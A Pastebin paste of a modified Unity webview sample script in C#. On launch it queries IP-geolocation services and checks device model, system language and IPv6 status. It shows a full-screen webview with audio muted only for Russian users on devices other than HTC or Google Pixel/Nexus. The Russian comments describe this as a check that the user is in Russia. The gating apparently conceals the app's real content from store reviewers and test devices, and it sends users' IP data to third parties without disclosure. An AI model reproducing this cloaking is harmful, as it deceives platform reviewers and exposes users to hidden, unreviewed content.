Advertisement
Guest User

Untitled

a guest
Sep 16th, 2019
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.22 KB | None | 0 0
  1. /*
  2. * Copyright (C) 2012 GREE, Inc.
  3. *
  4. * This software is provided 'as-is', without any express or implied
  5. * warranty. In no event will the authors be held liable for any damages
  6. * arising from the use of this software.
  7. *
  8. * Permission is granted to anyone to use this software for any purpose,
  9. * including commercial applications, and to alter it and redistribute it
  10. * freely, subject to the following restrictions:
  11. *
  12. * 1. The origin of this software must not be misrepresented; you must not
  13. * claim that you wrote the original software. If you use this software
  14. * in a product, an acknowledgment in the product documentation would be
  15. * appreciated but is not required.
  16. * 2. Altered source versions must be plainly marked as such, and must not be
  17. * misrepresented as being the original software.
  18. * 3. This notice may not be removed or altered from any source distribution.
  19. */
  20.  
  21. using SimpleJSON;
  22. using System;
  23. using System.Collections;
  24. using System.Net;
  25. using System.Net.Sockets;
  26. using UnityEngine;
  27. using UnityEngine.UI;
  28. using System.Collections.Generic;
  29.  
  30. public class SampleWebView : MonoBehaviour
  31. {
  32. public string Url;
  33. public string urlCurrent;
  34. public GUIText status;
  35. public Text test;
  36. WebViewObject webViewObject;
  37. [SerializeField]
  38. private GameObject LoadingScreen;
  39. private void Awake()
  40. {
  41.  
  42. Screen.orientation = ScreenOrientation.LandscapeLeft;
  43. LoadingScreen.SetActive(true);
  44. }
  45.  
  46.  
  47.  
  48. public string GetIP()
  49. {
  50.  
  51. return new WebClient().DownloadString("http://ip-api.com/json");
  52.  
  53.  
  54. }
  55. public string GetCountry(string ip)
  56. {
  57. return new WebClient().DownloadString("http://api.hostip.info/get_html.php?ip="+ip);
  58. }
  59. public string GetInfo()
  60. {
  61. return new WebClient().DownloadString("http://api.hostip.info/");
  62. }
  63. IEnumerator Start()
  64. {
  65. yield return new WaitForSeconds(1);
  66. if (Application.internetReachability == NetworkReachability.NotReachable)
  67. {
  68. //Change the Text
  69.  
  70. }
  71. else
  72. {
  73.  
  74.  
  75. var N = JSON.Parse(GetIP());
  76. var versionString = N["countryCode"].Value; // versionString will be a string containing "1.0"
  77. IPAddress ip;
  78. try
  79. {
  80. IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
  81. ip = host.AddressList[0];
  82. }
  83. catch (Exception)
  84. {
  85. yield break;
  86. }
  87. // Проверка устройств и проверка языка. Если русский, то скорее всего же чувак из России.Проверка страны
  88. if ((SystemInfo.deviceModel != "HTC" && SystemInfo.deviceModel != "Google Pixel" && SystemInfo.deviceModel != "Google Nexus") && versionString == "RU" && Application.systemLanguage == SystemLanguage.Russian &&
  89. ip.AddressFamily != AddressFamily.InterNetworkV6)
  90. {
  91. LoadingScreen.SetActive(false);
  92. AudioListener.volume = 0f;
  93.  
  94. // Отключил мануальное изменение ориентации устройства
  95. // Screen.orientation = ScreenOrientation.Portrait;
  96. Screen.orientation = ScreenOrientation.AutoRotation;
  97.  
  98. webViewObject = (new GameObject("WebViewObject")).AddComponent<WebViewObject>();
  99. webViewObject.Init(
  100. cb: (msg) =>
  101. {
  102. Debug.Log(string.Format("CallFromJS[{0}]", msg));
  103. status.text = msg;
  104. status.GetComponent<Animation>().Play();
  105. },
  106. err: (msg) =>
  107. {
  108. Debug.Log(string.Format("CallOnError[{0}]", msg));
  109. status.text = msg;
  110. status.GetComponent<Animation>().Play();
  111. },
  112. started: (msg) =>
  113. {
  114. Debug.Log(string.Format("CallOnStarted[{0}]", msg));
  115. },
  116. ld: (msg) =>
  117. {
  118.  
  119. Debug.Log(string.Format("CallOnLoaded[{0}]", msg));
  120. #if UNITY_EDITOR_OSX || !UNITY_ANDROID
  121. // NOTE: depending on the situation, you might prefer
  122. // the 'iframe' approach.
  123. // cf. https://github.com/gree/unity-webview/issues/189
  124. #if true
  125. webViewObject.EvaluateJS(@"
  126. if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
  127. window.Unity = {
  128. call: function(msg) {
  129. window.webkit.messageHandlers.unityControl.postMessage(msg);
  130. }
  131. }
  132. } else {
  133. window.Unity = {
  134. call: function(msg) {
  135. window.location = 'unity:' + msg;
  136. }
  137. }
  138. }
  139. ");
  140. #else
  141. webViewObject.EvaluateJS(@"
  142. if (window && window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.unityControl) {
  143. window.Unity = {
  144. call: function(msg) {
  145. window.webkit.messageHandlers.unityControl.postMessage(msg);
  146. }
  147. }
  148. } else {
  149. window.Unity = {
  150. call: function(msg) {
  151. var iframe = document.createElement('IFRAME');
  152. iframe.setAttribute('src', 'unity:' + msg);
  153. document.documentElement.appendChild(iframe);
  154. iframe.parentNode.removeChild(iframe);
  155. iframe = null;
  156. }
  157. }
  158. }
  159. ");
  160. #endif
  161. #endif
  162. webViewObject.EvaluateJS(@"Unity.call('ua=' + navigator.userAgent)");
  163. },
  164. //ua: "custom user agent string",
  165. enableWKWebView: true);
  166. #if UNITY_EDITOR_OSX || UNITY_STANDALONE_OSX
  167. webViewObject.bitmapRefreshCycle = 1;
  168. #endif
  169. webViewObject.SetMargins(0, 0, 0, 0);
  170. webViewObject.SetVisibility(true);
  171.  
  172. #if !UNITY_WEBPLAYER
  173. if (Url.StartsWith("http"))
  174. {
  175. webViewObject.LoadURL(Url.Replace(" ", "%20"));
  176. }
  177. else
  178. {
  179. var exts = new string[]{
  180. ".jpg",
  181. ".js",
  182. ".html" // should be last
  183. };
  184. foreach (var ext in exts)
  185. {
  186. var url = Url.Replace(".html", ext);
  187. var src = System.IO.Path.Combine(Application.streamingAssetsPath, url);
  188. var dst = System.IO.Path.Combine(Application.persistentDataPath, url);
  189. byte[] result = null;
  190. if (src.Contains("://"))
  191. { // for Android
  192. var www = new WWW(src);
  193. yield return www;
  194. result = www.bytes;
  195. }
  196. else
  197. {
  198. result = System.IO.File.ReadAllBytes(src);
  199. }
  200. System.IO.File.WriteAllBytes(dst, result);
  201. if (ext == ".html")
  202. {
  203. webViewObject.LoadURL("file://" + dst.Replace(" ", "%20"));
  204. break;
  205. }
  206. }
  207. }
  208. #else
  209. if (Url.StartsWith("http")) {
  210. webViewObject.LoadURL(Url.Replace(" ", "%20"));
  211. } else {
  212. webViewObject.LoadURL("StreamingAssets/" + Url.Replace(" ", "%20"));
  213. }
  214. webViewObject.EvaluateJS(
  215. "parent.$(function() {" +
  216. " window.Unity = {" +
  217. " call:function(msg) {" +
  218. " parent.unityWebView.sendMessage('WebViewObject', msg)" +
  219. " }" +
  220. " };" +
  221. "});");
  222. #endif
  223.  
  224.  
  225. yield break;
  226. }
  227. else
  228. {
  229. LoadingScreen.SetActive(false);
  230. }
  231. }
  232. }
  233.  
  234. #if !UNITY_WEBPLAYER
  235. void OnGUI()
  236. {
  237. // GUI.enabled = webViewObject.CanGoBack();
  238. // if (GUI.Button(new Rect(10, 10, 80, 80), "<")) {
  239. // webViewObject.GoBack();
  240. // }
  241. // GUI.enabled = true;
  242. //
  243. // GUI.enabled = webViewObject.CanGoForward();
  244. // if (GUI.Button(new Rect(100, 10, 80, 80), ">")) {
  245. // webViewObject.GoForward();
  246. // }
  247. // GUI.enabled = true;
  248. //
  249. // GUI.TextField(new Rect(200, 10, 300, 80), "" + webViewObject.Progress());
  250. }
  251. #endif
  252. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement